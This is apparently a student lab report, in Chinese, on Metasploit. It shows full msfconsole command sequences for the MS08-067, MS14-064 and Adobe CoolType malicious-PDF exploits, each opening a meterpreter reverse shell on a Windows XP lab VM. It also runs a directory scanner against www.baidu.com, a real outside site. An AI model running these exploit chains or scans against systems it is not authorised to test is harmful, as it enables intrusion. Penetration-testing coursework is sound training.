目录
一、实践目标
二、实践原理
三、实践过程
四、思考题
五、实践总结
一、实践目标
1.1 实践要求
掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
1.2 实践内容
- 一个主动攻击实践,如ms08_067
- 一个针对浏览器的攻击,如ms11_050
- 一个针对客户端的攻击,如Adobe
- 成功应用任何一个辅助模块
二、实践原理
2.1 MSF基础模块
模块:Metasploit框架中所使用的一段软件代码组件。
- 辅助模块(Auxiliary Modules):能够帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击
- 攻击载荷(Payload Modules):简单说payload原意为‘载荷’,就是被运输的东西。在我们的上下文环境中就是指一段指令或称为shellcode
- 空字段模块(Nop Modules):是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码是0x90
- 编码模块(Encoders):攻击载荷模块与空指令模块组装完成一个指令序列后进行;确保攻击载荷中不会出现渗透攻击过程中应避免的“坏字符”;改变特征码,对攻击载荷进行“免杀”处理
- 后渗透攻击模块(Post):收集更多信息或进一步访问受攻击目标系统
可以进入MSF控制台后,用 show exploits 查看所有渗透模块,也可以进入 /usr/share/metasploit-framework/modules 查看模块源码目录。
2.2 攻击方式
- 主动攻击:直接攻击系统开启的漏洞服务,获取系统控制权
- 攻击浏览器,获取系统控制权
- 攻击客户端应用,获取系统控制权
2.3 用户操作界面
- MSF控制台: msfconsole
- Armitage
- 启动服务器 service postgresql start
- 启动 armitagearmitage
- Web GUI
三、实践过程
靶机:WindowsXP,关闭防火墙,IP地址为192.168.159.129
攻击机:IP地址为192.168.159.128
靶机和攻击机可以相互ping通:
(一)主动攻击实践(MS08_067漏洞)
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行。
- 攻击机使用指令nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.159.129查看靶机的ms08_067漏洞是否存在。可以看到漏洞存在
从实验结果来看,windows xp的445端口是开放的。
- 对靶机进行攻击。可以看到回连成功,输入ipconfig验证
(二)针对浏览器的攻击
1.MS14_064漏洞
MS14_064漏洞是Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。远程攻击者利用此漏洞构造的网址执行任意代码,能够影响Win95+IE3—Win10+IE11的全版本。
- MSF平台输入下列指令
use exploit/windows/browser/ms14_064_ole_code_execution set payload windows/meterpreter/reverse_tcp set SRVHOST 192.168.159.128 set AllowPowerShellPrompt 1 set LHOST 192.168.159.128 set LPORT 4321 set target 0 exploit
- 在XP系统中输入框内的URL
- XP端完成打开网页后,在kali中【Ctrl+C】退出当前进程,sessions可以看到当前建立了会话。
- 输入sessions -i 1获得第一个会话的链接,输入ipconfig可以看到攻击成功。
(三)针对客户端的攻击
Adobe的攻击主要是通过社会工程学将文档发送给用户,打开文档就会触发恶意漏洞。
- 打开msf输入指令
use windows/fileformat/adobe_cooltype_sing set payload windows/meterpreter/reverse_tcp set LHOST 192.168.159.128 set LPORT 4321 set FILENAME WBZH.pdf exploit
- 根据pdf文件保存的路径将生成的PDF文件复制到win10系统中,再拖拽到XP系统内,输入以下指令进入监听(先在xp虚拟机上安装vmware tool然后才能实现拖拽):
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.159.128 exploit
- 在靶机中用Adobe打开PDF文件,返回攻击端,输入 ipconfig 验证。可以看到回连成功(在win10中下载Adobe安装包后拖拽到xp系统中安装)。
(四)应用辅助模块(唯一)
1.dir_scanner 搜索网站目录
use auxiliary/scanner/http/dir_scanner set THREADS 50 setRHOSTS www.baidu.com exploit
请求成功。
2.server_info
- MSF中输入 show auxiliary 查看所有的辅助模块
- 选择 scanner/steam/server_info 模块,打开MSF输入下列指令
use scanner/steam/server_info set RHOSTS 192.168.159.129 show options exploit
端口固定为UDP端口27015。端口27015只是用作输入/输出的通信端口。
扫描范围默认为10(从起始地址开始往后扫10个)。
该网段里没有服务器。
四、思考题
1.用自己的话解释什么是exploit,payload,encode.
- exploit:漏洞的利用,如何利用漏洞,将我们制造的恶意代码传递过去,起到一个通道的作用。
- payload:载荷,指进行攻击时攻击者想要执行的。
- encode:编码模块(变形、机器码的修改)。
2.离实战还缺些什么技术或步骤
我们在实战中需求还很多,因为漏洞是在不断出现,并且填补的,我们需要掌握最新的漏洞和其使用方法,才能更好的实战。同时也需要对于msf的更多熟悉应用。
五、实践总结
(一)遇到的问题及解决办法
1.windows xp系统中的445端口没有开放
解决办法:
1. 点击电脑左下的"开始",选择"运行知",输入regedit,然后回车。
2. 修改注册表,添加一个键道值 。
Hive: HKEY_LOCAL_MACHINE
Key: System\CurrentControlSet\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
Value: 1
3. 修改之后重新启动电脑。
4. 点击电脑左下内的"开始",选择"运行",输入cmd,然后回车,在弹出的页面输入
netstat -an,此时可以看到容开放的端口。
(二)实践心得
在这次实验中,我发现msf的功能实在强大,是个十分有用的软件,也深深感受到自己对其使用只是皮毛,今后将多多练习,以求熟练。我觉得这次实验其实难点根本就不再攻击模块的使用,能否用好辅助模块反而更关键。如果把辅助模块用好了,就能少走很多弯路,避免很多不必要的工作。